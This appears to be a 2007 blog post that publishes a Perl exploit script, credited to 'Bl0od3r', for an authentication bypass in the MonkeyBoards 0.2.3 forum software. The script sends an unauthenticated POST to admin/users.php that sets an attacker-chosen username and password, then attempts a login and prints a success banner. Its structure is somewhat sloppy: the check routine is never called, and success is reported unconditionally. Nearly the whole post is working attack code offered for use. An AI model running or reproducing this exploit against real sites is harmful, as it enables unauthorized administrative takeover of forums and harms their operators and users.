Monday, 1 January 2007

Monkey boards auth bypass

#http://superb-east.dl.sourceforge.net/sourceforge/monkeyboards/monkeyboards-0.2.3.zip

#!perl
use IO::Socket;
if (@ARGV<4) {
&header;
} else { &start };

sub start() {
$host=$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$passwd=$ARGV[3];


$post="action=password&user=".$user."&password=".$passwd."";
$len=length($post);
$sock=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock "POST ".$path."admin/users.php HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$len."\n\n";
print $sock $post;

sub header() {
print "\n";
print "# monkey.pl host /path/ admin yes #\n";
print "\n";
exit;
}


sub check() {
$post_c="username=".$user."&password=".$passwd."";
$len_c=length($post_c);
$sock_c=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die ("Error");
print $sock_c "POST ".$path."login.php HTTP/1.0\n";
print $sock_c "Host: ".$host."\n";
print $sock_c "Content-Type: application/x-www-form-urlencoded\n";
print $sock_c "Content-Length: ".$len_c."\n\n";
print $sock_c $post_c;

while ($ans=<$sock_c>) {
if ($ans =~ m/Invalid/) {
print "[-]Error while logging in,seems like to be not working!";
exit;
}

}
}
}

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+]Successfully logged in as ".$user.":".$passwd."";
print "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
#released by Bl0od3r

No comments: